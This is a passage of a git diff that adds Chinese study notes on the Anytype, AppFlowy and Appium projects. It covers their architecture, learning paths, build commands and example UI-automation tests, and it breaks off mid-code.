+| 块模型 | ✅ 强类型 Block | ✅ Block | ✅ 大纲块 | ⚠️ 需插件 |
+| 数据库视图 | ✅ Set/Dataview | ✅ Database | ⚠️ query 块 | ⚠️ 插件/Dataview |
+| 开源客户端 | ✅ anytype-ts | ❌ | ✅ | ❌ 闭源免费 |
+| P2P 同步 | ✅ 可选 | ❌ | ❌ | ❌ |
+
+Anytype 更接近 **「加密本地 Notion + 对象图 sync」**；若你只想 plain-text Git 友好，Logseq/Obsidian 更轻；若团队已 all-in 云端协作，Notion 仍省心。
+
+---
+
+## 推荐学习路径（7 天）
+
+| 天 | 动作 | 目标 |
+|----|------|------|
+| 1 | 只用 Page + 文本/待办块 | 熟悉 `/` 命令与块拖拽 |
+| 2 | 创建一个 Task Type，改 Relation | 理解 Type ≠ Template 文件 |
+| 3 | 建 Set，切 Grid / Board | 体验 Dataview 多视图 |
+| 4 | 用 Graph 视图看 Object 关系 | 理解 link 与 relation 混用 |
+| 5 | 读 `model/block.ts` + `store/block.ts` | 对齐源码词汇 |
+| 6 | 跑 `bun run start:dev`，改一处 translate 文案 | 走通 Electron 开发环 |
+| 7 | 读 `docs/src/ts/component/block/README.md` | 掌握 19 种块的分工 |
+
+---
+
+## 常见问题
+
+**Q：Anytype 和 Anytype-ts 是什么关系？**  
+`anytype-ts` 是桌面 UI 壳；数据与同步在 `anytype-heart`。发布安装包 = 打包好的 helper + Electron 壳。
+
+**Q：数据存在哪？**  
+在 OS 用户目录下的 Anytype 数据路径（由 helper 管理 SQLite/对象存储），具体路径因平台而异；备份应使用应用内导出或官方备份流程，不要只拷贝 ts 仓库。
+
+**Q：能否像 Markdown 一样用 Git 管理？**  
+Canonical 不是 .md 文件树；版本历史依赖 Anytype 自身与导出。需要 Git diff 时，定期 Export Markdown 到单独目录更现实。
+
+**Q：gRPC API 能给生产用吗？**  
+社区与 CLI 在用，但官方声明 **未作为稳定第三方 API**；集成前评估版本锁定与 breaking change 风险。
+
+**Q：和 Logseq 块引用有何不同？**  
+Logseq 块引用是 `((uuid))` 指向大纲行；Anytype 块 id 也在树内，但 **Object 级链接 + Relation** 才是跨页聚合的主力（Set 筛选）。
+
+---
+
+## 延伸资源
+
+- 官方文档：[doc.anytype.io](https://doc.anytype.io)
+- 社区论坛：[community.anytype.io](https://community.anytype.io)
+- 中间层引擎：[github.com/anyproto/anytype-heart](https://github.com/anyproto/anytype-heart)
+- 仓库内架构说明：[CLAUDE.md](https://github.com/anyproto/anytype-ts/blob/develop/CLAUDE.md)
+- 块系统文档：`docs/src/ts/component/block/README.md`（克隆仓库后本地阅读）
+- AI Agents 扩展：[AGENTS.md](https://github.com/anyproto/anytype-ts/blob/develop/AGENTS.md)
+
+---
+
+## 小结
+
+Anytype 把 **块编辑器**、**类型化对象图** 和 **本地加密存储** 绑在同一套引擎上：UI 层（anytype-ts）负责把 Block 树和 Dataview 视图画出来；heart 负责持久化与 P2P 同步。入门先玩 Space/Page/Set 三角；读源码从 `Block` 模型与 `BlockStore` 出发，再追 gRPC 命令与 Dataview subscription。它适合想要 **Notion 式灵活布局**、又坚持 **数据留在本机且加密** 的用户——也是 study 笔记库里「本地优先块编辑器」路线的代表项目。
diff --git a/src/content/docs/projects/appflowy.md b/src/content/docs/projects/appflowy.md
new file mode 100644
index 000000000..0c6b90314
--- /dev/null
+++ b/src/content/docs/projects/appflowy.md
@@ -0,0 +1,376 @@
+---
+title: AppFlowy — Rust + Flutter 开源 Notion 替代品
+来源: https://github.com/AppFlowy-IO/AppFlowy
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：把「私人笔记本」做成可拆装的模块化工作台
+
+想象你有一间 **自己装修的工作室**，而不是租来的精装公寓：
+
+- **Notion** 像精装 SaaS：拎包入住、界面漂亮、协作顺手，但家具布局改不了，笔记数据在别人的服务器上，离线或自托管能力有限。
+- **AppFlowy** 像 **开源模块化工作室**：墙面（UI）用 Flutter 统一刷漆，水电与承重墙（业务逻辑、数据库、同步）用 Rust 浇筑；默认数据落在本机 SQLite，想协作再接 **AppFlowy Cloud**； AGPL-3.0 许可下你可以 fork、改模块、甚至换整套 UI，而核心「数据引擎」仍是一套跨平台 Rust 库。
+
+零基础学习路径：**先装官方客户端体验 → 理解 Workspace / View / Document 层级 → 摸清 Flutter↔Rust 的 Event-Dispatch → 本地构建一次 → 按需读 `flowy-*` crate**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：Notion 好用，但数据与扩展性不可控
+
+[AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) 官方 README 写得很直白：团队曾是 Notion 付费用户，但希望个人用户也能拥有 **同等功能 + 数据主权 + 跨平台原生体验**。开源 + 本地优先，让「笔记即数据资产」而不是「租来的页面」。
+
+### 痛点 2：跨平台笔记应用常陷入「双端两套逻辑」
+
+移动端一套、桌面端一套，同步与冲突处理各写一遍，维护成本爆炸。AppFlowy 用 **单 Flutter 代码库** 覆盖 macOS / Windows / Linux / iOS / Android（及 Web 方向），**单 Rust 工作区** 承载全部业务逻辑，通过 FFI 统一边界。
+
+### 痛点 3：协作编辑的冲突与离线
+
+多人同时改同一段文字，传统「最后写入胜出」会丢内容。AppFlowy 在文档层采用 **CRDT**（基于 [Yrs](https://github.com/y-crdt/yrs)，Yjs 的 Rust 实现），离线编辑生成本地更新，联网后自动合并，无需中央锁。
+
+### 痛点 4：Notion 的 Database / Wiki / AI 要「可自建」
+
+除富文本文档外，还有 **Grid / Board / Calendar / Gallery** 等数据库视图、全文搜索（Tantivy）、可选 AI 能力（`flowy-ai`）。自托管时整条链路可在自己环境跑通。
+
+---
+
+## 核心概念拆解
+
+### 1. 混合架构：Flutter 画 UI，Rust 干重活
+
+| 层 | 技术 | 职责 |
+|----|------|------|
+| **Presentation** | Flutter Widget + BLoC | 渲染、交互、UI 状态 |
+| **Application** | Dart BLoC | 把用户操作转成领域请求，不含复杂业务 |
+| **Domain** | Dart 模型 + Protobuf | 业务实体与接口定义 |
+| **Infrastructure** | Rust (`frontend/rust-lib/`) | 持久化、CRDT、搜索、同步、权限 |
+
+Rust 侧编译为 **静态库**（macOS/iOS）或 **动态库**（Windows/Linux/Android），Dart 通过 `dart:ffi` 调用。
+
+### 2. 领域层级：User → Workspace → App → View
+
+官方 DDD 博文中的实体关系（随版本演进，核心思想不变）：
+
+```
+User
+ └── Workspace（工作区）
+      └── App / Folder（应用或文件夹）
+           └── View（可展示对象：Document、Database、…）
+```
+
+- **View** 是抽象：同一套导航树里可以挂文档、多维表、白板等。
+- **Folder** 模块（`flowy-folder`）管层级、排序、回收站、收藏。
+
+### 3. Event-Dispatch：Flutter 与 Rust 的「邮局系统」
+
+团队自研 **Event-Dispatch** 模式，而不是早期常见的「每个 Rust 函数直接 FFI 导出」：
+
+1. Flutter 把请求 **Protobuf 序列化** 成字节；
+2. 经 `dart-ffi` 的 `async_event` 送进 Rust；
+3. `lib-dispatch` 根据 **事件名** 路由到已注册的 Handler（各 `flowy-*` 模块在启动时注册）；
+4. Handler 执行业务后，再序列化响应回 Dart；
+5. BLoC 收到 Future 完成，重建 Widget。
+
+优点：模块可插拔、可按事件类型分配线程池。代价：序列化开销与认知负担——读代码时要跟着「事件名」跳转。
+
+### 4. 双库持久化：SQLite + CollabKVDB + KVStore
+
+这是读 AppFlowy 源码时最容易误解的一点——**并不是所有数据都进 SQLite**。官方采用 **多引擎分流**：
+
+| 存储层 | 技术 | 存什么 | 典型访问方式 |
+|--------|------|--------|--------------|
+| **SQLite** | Diesel ORM | 用户资料、工作区元数据、成员关系、AI 聊天历史 | SQL 查询、事务 |
+| **CollabKVDB** | RocksDB（桌面）/ IndexedDB（Web） | 文档、多维表、文件夹结构的 **CRDT 二进制态** | `EncodedCollab` 键值读写 |
+| **KVStore** | 键值偏好存储 | 主题、语言、服务器地址、会话缓存 | 简单 get/set |
+
+协作实体（Document、Database、Folder）在内存里是 **`Collab` 对象**（封装 [Yrs](https://github.com/y-crdt/yrs)），编辑产生 CRDT transaction；`CollabPersistenceImpl` 把状态序列化成 `EncodedCollab` 刷进 CollabKVDB。需要关系查询的「谁拥有哪个工作区」仍走 SQLite——**元数据用 SQL，正文用 CRDT**，各取所长。
+
+### 5. Local-first + 可选云同步
+
+数据流（架构文档归纳）：
+
+1. 用户操作 **先改本地 CRDT 状态**，并立即持久化到 CollabKVDB；
+2. 结构化元数据（新建页面、改标题）同步更新 SQLite；
+3. 若连接 **AppFlowy Cloud** 或自托管实例，`SyncPlugin` 经 WebSocket 推送/拉取二进制 update；
+4. 远端 update 合并进本地 Yrs 文档，数学上保证 **最终一致**，不靠「最后写入胜出」。
+
+没网也能写；有网时多端自动合并，而不是强依赖在线 API。
+
+### 6. Core Managers：Rust 后端的「五个部门」
+
+`AppFlowyCore` 在启动时按依赖顺序装配五个领域 Manager，Flutter 发来的事件最终由它们处理：
+
+| Manager | Crate | 职责 |
+|---------|-------|------|
+| **UserManager** | `flowy-user` | 登录、OAuth、会话、工作区切换、数据导入 |
+| **FolderManager** | `flowy-folder` | 工作区内的 View 树、排序、收藏、回收站 |
+| **DocumentManager** | `flowy-document` | 块编辑器、文档 CRDT 生命周期 |
+| **DatabaseManager** | `flowy-database2` | 多维表协调，为每张表维护 `DatabaseEditor` |
+| **AIManager** | `flowy-ai` | AI 对话、模型选择、与本地 Ollama 等集成 |
+
+登录成功后，`UserManager` 触发 `AppLifeCycle`，再调用各 Manager 的 `initialize_after_sign_in`——因此读「打开工作区」类 bug 时，要从 **User → Folder → Document** 的初始化链看，而不是只盯 UI。
+
+多维表内部还有 **三层分工**（官方 Database Architecture）：
+
+```
+DatabaseManager（工作区级）
+  └── DatabaseEditor（单表：行、字段、关系）
+        └── DatabaseViewEditor（单视图：筛选、排序、分组）
+```
+
+### 7. Rust 工作区主要 Crate
+
+路径：`frontend/rust-lib/`
+
+| Crate | 作用 |
+|-------|------|
+| `dart-ffi` | C ABI 入口，连接 Dart |
+| `flowy-core` | 生命周期、模块装配、配置 |
+| `flowy-user` | 登录、OAuth、会话 |
+| `flowy-folder` | 工作区与目录树 |
+| `flowy-document` | 块编辑器 + CRDT |
+| `flowy-database2` | 多维表视图 |
+| `flowy-search` | Tantivy 全文检索 |
+| `flowy-storage` | 附件与缓存 |
+| `flowy-ai` | AI 对话与生成 |
+| `lib-dispatch` | 事件注册与路由 |
+
+### 8. 文档模型：Block-based + CRDT
+
+`flowy-document` 把页面看成 **块（Block）** 列表：段落、标题、列表、待办、代码块、图片等。编辑操作转化为 CRDT 操作，适合协同与撤销历史。
+
+### 9. 数据库视图：同一份行数据，多种「透镜」
+
+`flowy-database2` 一张表可切换 Grid（表格）、Board（看板）、Calendar、Gallery。字段类型、筛选、排序、分组在 Rust 层统一处理，Flutter 只负责视图状态。
+
+### 10. AppFlowy-Collab：可独立嵌入的协作层
+
+协作逻辑不只躺在主仓库里——[AppFlowy-Collab](https://github.com/AppFlowy-IO/AppFlowy-Collab) 把 `collab` crate 单独发布，封装 Yrs、持久化插件、文档/数据库/文件夹领域模型。典型调用链：
+
+1. 领域模块（如 `flowy-document`）通过 `Collab` API 改块树；
+2. Yrs transaction 触发 **Plugin 钩子**（`RocksdbDiskPlugin` 写本地、`SyncPlugin` 推云端）；
+3. 其他已连接客户端收到 update，刷新 UI。
+
+想自建「带 Notion 式协同」的客户端，可以只依赖 `collab` + 自选同步后端，而不必 fork 整个 Flutter 壳。
+
+### 11. 许可与生态
+
+- **许可证**：AGPL-3.0——修改后网络提供服务需开源；自托管前要读清合规要求。
+- **社区**：GitHub 7 万+ stars（2026 年初），370+ 贡献者；官方提供 [Mintlify 开发者文档](https://appflowy-io-appflowy.mintlify.app/developer/architecture)。
+- **与 AppFlowy Editor**：富文本编辑器是独立 Flutter 包，可单独嵌入其他项目。
+
+---
+
+## 代码示例 1：Rust 侧 FFI 入口与事件分发（简化）
+
+官方文档给出的 FFI 形状如下；真实仓库中还会接入 Tokio 运行时与 `lib-dispatch`：
+
+```rust
+// frontend/rust-lib/dart-ffi — 概念示意
+#[no_mangle]
+pub extern "C" fn async_event(port: i64, input: *const u8, len: usize) {
+    let bytes = unsafe { std::slice::from_raw_parts(input, len) };
+    // 1. 反序列化 Event { event: String, payload: Vec<u8> }
+    // 2. dispatch::find_handler(&event).await
+    // 3. 将结果写回 Dart Port
+}
+
+// lib-dispatch — 各模块注册处理器
+pub fn register_event_handler(event: Event, handler: impl EventHandler) {
+    // flowy-folder、flowy-document 等在 flowy-core 初始化时注册
+}
+```
+
+**阅读技巧**：在仓库里搜具体 **Event 枚举**（如 Folder 相关事件），从 Flutter `Bloc` → `Dispatch` → Rust `handler` 跟一条完整链路，比泛泛读目录快得多。
+
+---
+
+## 代码示例 2：Collab 持久化与 EncodedCollab（Rust 概念）
+
+协作对象从编辑到落盘的路径（简化自 `collab-integrate` / `flowy-database2`）：
+
+```rust
+// 打开文档时：从 CollabKVDB 加载二进制 CRDT 状态
+let encoded: EncodedCollab = collab_kv.get_object(&doc_id)?;
+let collab = Collab::new_with_source(CollabOrigin::Local, doc_id, encoded.into())?;
+
+// 编辑：在 Yrs transaction 里改块树，插件自动刷盘
+let mut txn = collab.transact_mut();
+collab_document::block::insert_block(&mut txn, parent_id, new_block)?;
+drop(txn); // DiskPlugin 将 update 写入 RocksDB
+
+// 若启用云同步，SyncPlugin 把同一批 update 经 WebSocket 发出
+```
+
+**要点**：Flutter 从不直接碰 RocksDB；它只发「插入块」「改字段」类 **Event**，由 `DocumentManager` / `DatabaseManager` 在 Rust 里操作 `Collab`。
+
+---
+
+## 代码示例 3：Cargo 工作区与协作依赖
+
+根目录 `frontend/rust-lib/Cargo.toml` 用 workspace 统一管理版本，核心协作 crate 依赖 `collab` 系列（封装 Yrs）：
+
+```toml
+[workspace]
+members = [
+  "lib-dispatch",
+  "lib-log",
+  "flowy-core",
+  "dart-ffi",
+  "flowy-user",
+  "flowy-folder",
+  "flowy-document",
+  "flowy-database2",
+  "flowy-search",
+  "flowy-storage",
+  "flowy-ai",
+]
+
+[workspace.dependencies]
+tokio = { version = "1.38", features = ["full"] }
+serde = { version = "1.0" }
+collab = { version = "0.2" }
+collab-document = { version = "0.2" }
+```
+
+单独测 Rust 后端时（文档建议）：
+
+```bash
+cd frontend/rust-lib
+cargo test --no-default-features
+cargo fmt   # 遵循 rustfmt.toml，max_width = 100
+```
+
+---
+
+## 代码示例 4：Flutter 侧调用链（概念）
+
+官方设计博文描述的 11 步流程，压缩成开发者日常心智模型：
+
+```dart
+// 1. Widget 触发
+context.read<FolderBloc>().add(OpenFolderEvent(folderId));
+
+// 2. Bloc 经 Repository 调 FlowySDK（内部 Protobuf + FFI）
+final workspace = await folderRepository.openFolder(folderId);
+
+// 3. emit 新状态 → UI rebuild
+emit(state.copyWith(currentFolder: workspace));
+```
+
+`folderRepository` 底层会把 Dart 对象序列化，调用 Native 侧的 `async_event`。**不要**在 Widget 里直接调 FFI——DDD 分层就是为了把 FFI 锁在 Infrastructure。
+
+---
+
+## 从零构建：macOS / Linux 通用步骤
+
+环境要求（以官方文档为准）：**Flutter 3.27.x**、**Rust stable**、`cargo-make`、`LLVM`、各平台 C++ 构建链。
+
+```bash
+# 克隆
+git clone https://github.com/AppFlowy-IO/AppFlowy.git
+cd AppFlowy/frontend
+
+# 安装构建工具
+cargo install cargo-make
+
+# Linux 可跑一键依赖脚本（macOS 见文档 install_macos.sh）
+# ./scripts/install_dev_env/install_linux.sh
+
+# 拉取 Flutter 依赖
+cd appflowy_flutter && flutter pub get && cd ..
+
+# 开发版构建（Linux x86_64 示例）
+cargo make --profile development-linux-x86_64 appflowy-dev
+
+# 发行版
+cargo make --profile production-linux-x86_64 appflowy
+```
+
+产物路径形如：`frontend/appflowy_flutter/product/<version>/linux/Debug/AppFlowy/`。  
+**所有 `cargo make` 命令必须在 `frontend/` 目录执行**，不要站在仓库根目录盲敲。
+
+macOS Apple Silicon 常用 profile：`development-macos-arm64` / `production-macos-arm64`（以 `Makefile.toml` 为准）。
+
+---
+
+## 与 Notion / 其他开源笔记的对比
+
+| 维度 | Notion | AppFlowy | 典型 Markdown 笔记 |
+|------|--------|----------|-------------------|
+| 开源 | 否 | AGPL-3.0 | 多为 MIT/Apache |
+| 本地优先 | 弱 | 强（SQLite） | 强 |
+| 块编辑 + 数据库 | 有 | 有（Rust 实现） | 通常无或插件 |
+| 技术栈 | 闭源 | Flutter + Rust | Electron / Web |
+| 自托管 | 无官方 | AppFlowy Cloud 可自建 | 视项目而定 |
+| 协同 | 云端实时 | CRDT + 可选云 | 多为 Git 同步 |
+
+若你关心 **数据在本地、逻辑可审计、UI 可换皮**，AppFlowy 是值得深挖的「Notion 形、开源魂」样本；若只要纯 Markdown + Git，[[trilium]]、Obsidian 可能更轻。
+
+---
+
+## 学习路线建议（零基础 → 能读 PR）
+
+### 第 1 周：用户视角
+
+1. 安装 [官方发布版](https://github.com/AppFlowy-IO/AppFlowy/releases) 或 `brew install --cask appflowy`（macOS）。
+2. 创建 Workspace，体验 Document、Database（Grid/Board）、搜索、导入导出。
+3. 断网编辑再联网，观察同步行为——建立「本地优先」直觉。
+
+### 第 2 周：架构视角
+
+1. 读 [Architecture Overview](https://appflowy-io-appflowy.mintlify.app/developer/architecture) 与 [Rust Backend](https://appflowy-io-appflowy.mintlify.app/developer/rust-backend)。
+2. 读博客 [How we built AppFlowy with Flutter and Rust](https://appflowy.com/blog/tech-design-flutter-rust)（DDD + Event-Dispatch）。
+3. 在仓库跟踪 **一条** 打开文件夹的 Event，从 Dart 到 Rust 画时序图。
+
+### 第 3 周：动手构建
+
+1. 按上文命令本地 `appflowy-dev` 跑起来。
+2. 改一处 Flutter 文案或图标，确认热重载/重编译流程。
+3. 在 `flowy-search` 或 `flowy-document` 里读单元测试，理解模块边界。
+
+### 第 4 周：进阶主题（按需）
+
+- **协同**：`collab-document`、`Yrs` update 二进制格式。
+- **搜索**：Tantivy 索引何时重建。
+- **AI**：`flowy-ai` 如何接 OpenAI / 本地模型。
+- **插件化**：社区 Marketplace 与动态加载的限制（官方有专文讨论 Flutter 动态加载的坑）。
+
+---
+
+## 常见问题
+
+### Q1：为什么用 Rust 而不是全部 Dart？
+
+基础设施层要处理 SQLite、CRDT、搜索索引、文件 IO 和长时间运行的同步任务；Rust 在 **性能、内存安全、跨平台静态库** 上更合适，且可把同一套逻辑给未来非 Flutter 壳复用（官方架构文提到的「换 UI 不换数据组件」策略）。
+
+### Q2：Protobuf + FFI 会不会很慢？
+
+团队承认序列化有成本；大图、大文档场景需要避免把整个文档反复穿过 FFI。学习时留意 **哪些数据走 Protobuf、哪些走文件路径或共享内存**——这是性能优化的关键战场。
+
+### Q3：和 AFFiNE、Logseq 等开源 Notion-like 有何不同？
+
+AppFlowy 的鲜明特征是 **Flutter UI + Rust 厚后端 + Event-Dispatch + 本地 SQLite + CRDT 协同** 的组合；AFFiNE 等另有各自栈（如 Yjs、BlockSuite）。选型时比「功能清单」更重要的是 **数据模型与自托管路径** 是否匹配你的团队。
+
+### Q4：我只想用，不想编译？
+
+直接用官方客户端 + 可选自托管 [AppFlowy Cloud](https://appflowy.com)； AGPL 不影响单纯使用官方二进制。
+
+---
+
+## 小结
+
+AppFlowy 把「Notion 式工作空间」拆成两层可替换能力：**Flutter 负责体验一致的壳**，**Rust 负责数据、协同与搜索的核**；中间用 **Event-Dispatch + Protobuf + FFI** 粘合。零基础读者应先建立 **Local-first → CRDT → 模块化 crate** 三张心智地图，再跟一条事件链路读代码，最后本地 `cargo make` 构建一次——比一上来啃全部 `flowy-*` 更高效。
+
+---
+
+## 参考链接
+
+- 仓库：[AppFlowy-IO/AppFlowy](https://github.com/AppFlowy-IO/AppFlowy)
+- 开发者文档：[Architecture](https://appflowy-io-appflowy.mintlify.app/developer/architecture) · [Rust Backend](https://appflowy-io-appflowy.mintlify.app/developer/rust-backend) · [Setup](https://appflowy-io-appflowy.mintlify.app/developer/setup)
+- 设计博文：[How we built AppFlowy with Flutter and Rust](https://appflowy.com/blog/tech-design-flutter-rust)
+- 从源码构建：[Building on Linux](https://docs.appflowy.io/docs/documentation/appflowy/from-source/environment-setup/building-on-linux)
diff --git a/src/content/docs/projects/appium.md b/src/content/docs/projects/appium.md
new file mode 100644
index 000000000..000eeecfd
--- /dev/null
+++ b/src/content/docs/projects/appium.md
@@ -0,0 +1,311 @@
+---
+title: Appium — 跨平台移动 UI 自动化
+来源: https://github.com/appium/appium
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Appium 是开源的 **跨平台移动应用 UI 自动化框架**。你用 Java / Python / JavaScript 等任意语言写测试脚本，通过 **WebDriver 协议** 向 Appium Server 发 HTTP 请求，Server 再调用各平台原生驱动（iOS 的 XCUITest、Android 的 UiAutomator2 等），在真机或模拟器上模拟点击、输入、滑动——**同一套 API 覆盖 iOS、Android，甚至部分桌面与 TV 平台**。
+
+日常类比：想象你雇了一位 **远程机器人操作员**。你坐在办公室（测试脚本 / Client），用标准对讲机口令（WebDriver）发指令；操作员在机房（Appium Server）收到后，根据手机型号换不同「机械手」（Driver），去真机上执行。你不需要学 iOS 的 XCTest 语法，也不必学 Android 的 Espresso——**口令表是统一的**，换设备只改几行「能力配置」（Capabilities）。
+
+官方仓库：https://github.com/appium/appium（Apache-2.0，约 19k stars）。自 Appium 2 起，核心 Server 与平台 Driver **插件化分离**；Appium 3（2025 年后）进一步拥抱 **纯 W3C WebDriver**，移除过时的 JSON Wire Protocol 与部分废弃端点。
+
+最小能力声明 + 会话创建（Python 示意）：
+
+```python
+from appium import webdriver
+from appium.options.android import UiAutomator2Options
+
+options = UiAutomator2Options()
+options.platform_name = "Android"
+options.device_name = "emulator-5554"
+options.app = "/path/to/app-debug.apk"
+
+driver = webdriver.Remote("http://127.0.0.1:4723", options=options)
+driver.find_element(by="accessibility id", value="login_button").click()
+driver.quit()
+```
+
+Client 只连 `4723` 端口；真正与手机对话的是 Server 里加载的 **UiAutomator2 Driver**。
+
+## 为什么重要
+
+移动端测试处在金字塔顶端：慢、环境杂、维护成本高。不理解 Appium，以下问题很难系统性回答：
+
+- **「一套脚本能不能同时测 iOS 和 Android？」**——可以，前提是控件用稳定的 `accessibility id` / `testID`，而不是依赖易变的 XPath
+- **「和 Detox / Maestro / Espresso 怎么选？」**——Detox 专精 React Native 灰盒同步；Maestro 用 YAML、上手极快；Espresso/XCUITest 是原生灰盒但语言绑定；**Appium 的卖点是跨平台 + 多语言 + 不改 App 二进制**（黑盒/灰盒均可）
+- **「CI 里谁负责起 Server、谁连真机？」**——Appium 是 **Client–Server 架构**，Server 可与脚本分离部署（本机、Mac mini 农场、云测平台），适合大规模设备池
+- **「为什么 capabilities 里要写 `appium:` 前缀？」**——W3C 标准要求厂商扩展能力带命名空间，避免与标准字段冲突（Appium 3 更严格）
+
+若团队要维护 **原生 + 混合 + 移动端 Web** 的组合矩阵，或需要 Java/Python 与现有 Selenium 基建复用，Appium 仍是 2026 年行业默认选项之一。
+
+## 核心概念
+
+Appium 的心智模型可压成六层：
+
+### 1. Client–Server 与 WebDriver 协议
+
+- **Client**：你写的测试代码 + 语言绑定库（`appium-python-client`、`webdriverio` 等）
+- **Server**：Node.js 进程，默认监听 `http://127.0.0.1:4723`
+- **协议**：W3C WebDriver——每个操作都是带 JSON body 的 HTTP 请求（`POST /session/{id}/element`、`POST /session/{id}/element/{id}/click` 等）
+
+好处：Client 与 Server **不必在同一台机器**。云测厂商托管 Server + 设备，你本地只跑脚本。
+
+### 2. Session 与 Capabilities
+
+自动化的一切从 **`POST /session`** 开始。请求体里的 **Capabilities** 告诉 Server：
+
+| 典型字段 | 含义 |
+|----------|------|
+| `platformName` | `iOS` / `Android` |
+| `appium:automationName` | `UiAutomator2`、`XCUITest`、`Espresso`… |
+| `appium:deviceName` / `appium:udid` | 模拟器名或真机 UDID |
+| `appium:app` | 待测 APK/IPA 路径，或 `appium:bundleId` |
+| `appium:noReset` | `true` 时不在会话结束后清数据 |
+
+Server 根据 Capabilities **挑选并加载一个 Driver**，创建 Session ID；后续命令都挂在该 Session 上。
+
+### 3. Driver（可插拔驱动）
+
+Driver 是独立 npm 包，通过 CLI 安装：
+
+```bash
+appium driver install uiautomator2
+appium driver install xcuitest
+appium driver list --installed
+```
+
+各 Driver 把 WebDriver 命令 **翻译** 为平台原生 API：
+
+- **XCUITest Driver** → Apple XCUITest + 设备上的 WebDriverAgent (WDA)
+- **UiAutomator2 Driver** → Google UiAutomator2 + ADB
+- **Espresso Driver** → Android Espresso（更快但需特定构建配置）
+
+Appium 核心 **不实现** 点击逻辑，只做路由与插件管理——这是 Appium 2 最重要的架构变化。
+
+### 4. 元素定位策略
+
+与 Selenium 类似，常用定位器：
+
+| 策略 | 适用场景 |
+|------|----------|
+| `accessibility id` | 对应 iOS `accessibilityIdentifier` / Android `content-desc`，**首选** |
+| `id` | Android `resource-id` |
+| `-ios predicate string` | iOS 谓词，表达力强 |
+| `-android uiautomator` | UiSelector 链式查找 |
+| `xpath` | 万能但慢、脆，仅作兜底 |
+
+原则：**给开发提需求加 `testID` / `contentDescription`**，比写长 XPath 更能降低维护成本。
+
+### 5. 上下文切换（Native / WebView / 混合应用）
+
+混合应用内嵌 H5 时，存在多个 **Context**（`NATIVE_APP`、`WEBVIEW_com.example`）。需：
+
+```python
+driver.contexts          # 列出可用上下文
+driver.switch_to.context("WEBVIEW_com.example.app")
+# 之后可用 Web 定位器操作 DOM
+driver.switch_to.context("NATIVE_APP")
+```
+
+不懂上下文切换，会出现「元素明明在屏幕上却找不到」的经典问题。
+
+### 6. 插件（Plugins）
+
+除 Driver 外，Appium 2+ 支持 **Plugin** 扩展 Server 行为（图像匹配、日志增强等）：
+
+```bash
+appium plugin install images
+appium server --use-plugins=images
+```
+
+与 Driver 正交：Plugin 修改 Server 管线，Driver 仍负责平台自动化。
+
+## 环境准备
+
+**通用前置：**
+
+- Node.js 20+（Appium 3 要求 Node 20/22/24）
+- JDK（Android）、Xcode（iOS，仅 macOS）
+- Android SDK + 环境变量 `ANDROID_HOME`
+- 设备：已开启 USB 调试的真机，或官方模拟器
+
+**安装 Server 与 Driver：**
+
+```bash
+npm install -g appium
+appium driver install uiautomator2   # Android
+# macOS 上额外：
+appium driver install xcuitest       # iOS
+
+appium server -a 127.0.0.1 -p 4723
+```
+
+另开终端确认：`appium driver doctor uiautomator2` 可诊断依赖缺失。
+
+**Client 示例（按语言择一）：**
+
+```bash
+pip install Appium-Python-Client   # Python
+npm install webdriverio            # JavaScript
+```
+
+## 实践案例
+
+### 案例 1：Android 登录流（Python + pytest）
+
+```python
+import pytest
+from appium import webdriver
+from appium.options.android import UiAutomator2Options
+from appium.webdriver.common.appiumby import AppiumBy
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support import expected_conditions as EC
+
+@pytest.fixture
+def driver():
+    opts = UiAutomator2Options()
+    opts.platform_name = "Android"
+    opts.device_name = "emulator-5554"
+    opts.app = "/build/app-debug.apk"
+    opts.set_capability("appium:noReset", True)
+
+    drv = webdriver.Remote("http://127.0.0.1:4723", options=opts)
+    yield drv
+    drv.quit()
+
+def test_login_success(driver):
+    wait = WebDriverWait(driver, 15)
+    email = wait.until(
+        EC.presence_of_element_located((AppiumBy.ACCESSIBILITY_ID, "email_input"))
+    )
+    email.send_keys("user@example.com")
+    driver.find_element(AppiumBy.ACCESSIBILITY_ID, "password_input").send_keys("secret")
+    driver.find_element(AppiumBy.ACCESSIBILITY_ID, "login_button").click()
+
+    welcome = wait.until(
+        EC.presence_of_element_located((AppiumBy.ACCESSIBILITY_ID, "welcome_title"))
+    )
+    assert "Welcome" in welcome.text
+```
+
+**要点：**
+
+- `WebDriverWait` + `expected_conditions` 来自 Selenium，与 Appium 无缝复用
+- `appium:noReset` 避免每次用例重装 App，加快套件速度
+- 定位用 `ACCESSIBILITY_ID`，对应开发在 RN / Flutter / 原生里设的 `testID`
+
+### 案例 2：iOS 滑动列表 + W3C Actions（JavaScript / WebdriverIO）
+
+Appium 3 推荐用 **W3C Actions API** 做复杂手势，而非已废弃的 TouchAction：
+
+```javascript
+// wdio.conf.js 中 capabilities 片段
+export const capabilities = [{
+  platformName: 'iOS',
+  'appium:automationName': 'XCUITest',
+  'appium:deviceName': 'iPhone 16',
+  'appium:bundleId': 'com.example.shop',
+  'appium:noReset': true,
+}];
+
+// e2e/scroll.spec.js
+describe('商品列表', () => {
+  it('应能向下滚动并看到加载更多', async () => {
+    const list = await $('~product_list');  // accessibility id
+    await list.waitForDisplayed({ timeout: 10000 });
+
+    // W3C Actions：模拟手指向上滑（内容向下滚）
+    await driver.performActions([{
+      type: 'pointer',
+      id: 'finger1',
+      parameters: { pointerType: 'touch' },
+      actions: [
+        { type: 'pointerMove', duration: 0, origin: list, x: 0, y: 200 },
+        { type: 'pointerDown', button: 0 },
+        { type: 'pause', duration: 100 },
+        { type: 'pointerMove', duration: 600, origin: list, x: 0, y: -400 },
+        { type: 'pointerUp', button: 0 },
+      ],
+    }]);
+    await driver.releaseActions();
+
+    await expect($('~load_more_footer')).toBeDisplayed();
+  });
+});
+```
+
+**要点：**
+
+- WebdriverIO 的 `$('~id')` 是 `accessibility id` 简写
+- `performActions` 是跨平台手势标准；旧版 `touchAction` / `multiTouch` 在 Appium 3 已移除
+- iOS 真机需配置签名与 WDA；模拟器相对省心
+
+### 案例 3：用 `mobile:` 执行脚本安装/清数据
+
+部分 App 管理命令在 Appium 3 迁至 **mobile: execute** 风格：
+
+```python
+driver.execute_script("mobile: clearApp", {"bundleId": "com.example.shop"})
